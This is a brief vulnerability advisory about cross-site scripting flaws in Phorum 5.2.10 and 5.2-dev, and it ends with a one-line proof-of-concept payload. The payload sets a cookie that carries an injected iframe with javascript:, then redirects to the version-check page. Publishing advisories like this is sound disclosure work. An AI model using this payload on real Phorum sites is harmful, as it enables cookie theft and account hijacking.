source: https://www.securityfocus.com/bid/34551/info Phorum is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input. An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks. Phorum 5.2.10 and 5.2-dev are vulnerable; other versions may also be affected. javascript:with(document)cookie="phorum_upgrade_available= <iframe/src='javascript:alert(/voodoo/.source)'>", location="http://www.victim.com/phorum-5.2.10/versioncheck.php";